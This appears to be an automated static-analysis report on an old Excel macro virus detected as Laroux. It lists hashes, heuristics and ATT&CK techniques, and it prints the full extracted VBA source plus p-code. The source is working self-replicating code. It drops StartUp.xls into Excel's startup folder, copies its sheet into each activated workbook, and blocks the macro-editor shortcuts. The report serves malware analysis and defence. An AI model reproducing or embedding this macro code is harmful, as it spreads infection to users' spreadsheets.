Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7c8ffa235f9c3f16…

MALICIOUS

Office (OLE)

556.0 KB Created: 2003-10-09 06:42:14 Authoring application: Microsoft Excel First seen: 2015-10-04
MD5: b1d76a9b6327e4100a370c7128847b00 SHA-1: 4d7717a6efef3bb67c54997fb70f214d5a1099f6 SHA-256: 7c8ffa235f9c3f16795403286ebf1bf6202e23865b251b1371245560d3fbb1f9
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel document containing VBA macros. The 'auto_open' macro attempts to copy itself to the Excel startup path as 'StartUp.xls' and registers a macro ('cop') to be executed when a sheet is activated. This indicates an attempt to establish persistence. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4375 bytes
SHA-256: 7becd64b7e662002ddf9bee153fe1b0a94f0320a313b4687f5cde7dad51afc25
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
Attribute cop.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
Attribute back.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

' Processing file: /opt/analyzer/scan_staging/d5e8dddd939b41119bc0471911d92b2e.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/StartUp - 2802 bytes
' Line #0:
' 	FuncDefn (Sub StartupPath())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ScreenUpdating 
' 	MemLd Sheets 
' 	Ld Copy 
' 	MemLd ActiveWorkbook 
' 	Ne 
' 	Ld Copy 
' 	MemLd ActiveWorkbook 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	LitStr 0x000B "StartUp.xls"
' 	Concat 
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Eq 
' 	And 
' 	IfBlock 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Copy 
' 	MemSt SaveAs 
' Line #4:
' 	LitStr 0x0007 "StartUp"
' 	Ld ScreenUpdating 
' 	ArgsMemLd n 0x0001 
' 	ArgsMemCall ActiveWindow 0x0000 
' Line #5:
' 	Ld Copy 
' 	MemLd ActiveWorkbook 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	LitStr 0x000B "StartUp.xls"
' 	Concat 
' 	Paren 
' 	Ld Visible 
' 	ArgsMemCall Workbooks 0x0001 
' Line #6:
' 	Ld Visible 
' 	MemLd Name 
' 	St Save$ 
' Line #7:
' 	LitVarSpecial (False)
' 	Ld OnSheetActivate 
' 	MemSt OnKey 
' Line #8:
' 	LitStr 0x000B "StartUp.xls"
' 	ArgsLd cop 0x0001 
' 	ArgsMemCall ActiveSheet 0x0000 
' Line #9:
' 	LitVarSpecial (False)
' 	Paren 
' 	Ld Save$ 
' 	ArgsLd cop 0x0001 
' 	ArgsMemCall Close 0x0001 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	LitStr 0x000F "StartUp.xls!cop"
' 	Ld Copy 
' 	MemSt before 
' Line #12:
' 	LitStr 0x0006 "%{F11}"
' 	LitStr 0x0012 "StartUp.xls!escape"
' 	Ld Copy 
' 	ArgsMemCall Worksheets 0x0002 
' Line #13:
' 	LitStr 0x0005 "%{F8}"
' 	LitStr 0x0012 "StartUp.xls!escape"
' 	Ld Copy 
' 	ArgsMemCall Worksheets 0x0002 
' Line #14:
' 	EndSub 
' Line #15:
' 	FuncDefn (Sub back())
' Line #16:
' 	OnError (Resume Next) 
' Line #17:
' 	LitDI2 0x0001 
' 	Ld Visible 
' 	ArgsMemLd n 0x0001 
' 	MemLd Name 
' 	LitStr 0x0007 "StartUp"
' 	Ne 
' 	IfBlock 
' Line #18:
' 	LitVarSpecial (False)
' 	Ld Copy 
' 	MemSt SaveAs 
' Line #19:
' 	Ld OnTime 
' 	MemLd Name 
' 	St Save$ 
' Line #20:
' 	LitDI2 0x0001 
' 	ArgsLd TimeValue 0x0001 
' 	ParamNamed Now 
' 	LitStr 0x0007 "StartUp"
' 	LitStr 0x000B "StartUp.xls"
' 	ArgsLd cop 0x0001 
' 	ArgsMemLd n 0x0001 
' 	ArgsMemCall ActiveWindow 0x0001 
' Line #21:
' 	Ld Save$ 
' 	ArgsLd n 0x0001 
' 	ArgsMemCall Select 0x0000 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	EndSub 
' Line #24:
' 	FuncDefn (Sub id_0250())
' Line #25:
' 	OnError (Resume Next) 
' Line #26:
' 	LitStr 0x0005 "%{F8}"
' 	LitStr 0x0012 "StartUp.xls!escape"
' 	Ld Copy 
' 	ArgsMemCall Worksheets 0x0002 
' Line #27:
' 	LitStr 0x0006 "%{F11}"
' 	LitStr 0x0012 "StartUp.xls!escape"
' 	Ld Copy 
' 	ArgsMemCall Worksheets 0x0002 
' Line #28:
' 	LitStr 0x000F "StartUp.xls!cop"
' 	Ld Copy 
' 	MemSt before 
' Line #29:
' 	Ld id_0254 
' 	LitStr 0x0008 "00:00:01"
' 	ArgsLd id_0256 0x0001 
' 	Add 
' 	LitStr 0x000F "StartUp.xls!cop"
' 	Ld Copy 
' 	ArgsMemCall id_0252 0x0002 
' Line #30:
' 	Ld Copy 
' 	MemLd ActiveWorkbook 
' 	LitStr 0x000C "\StartUp.xls"
' 	Concat 
' 	Ld cop 
' 	ArgsMemCall Open 0x0001 
' Line #31:
' 	EndSub

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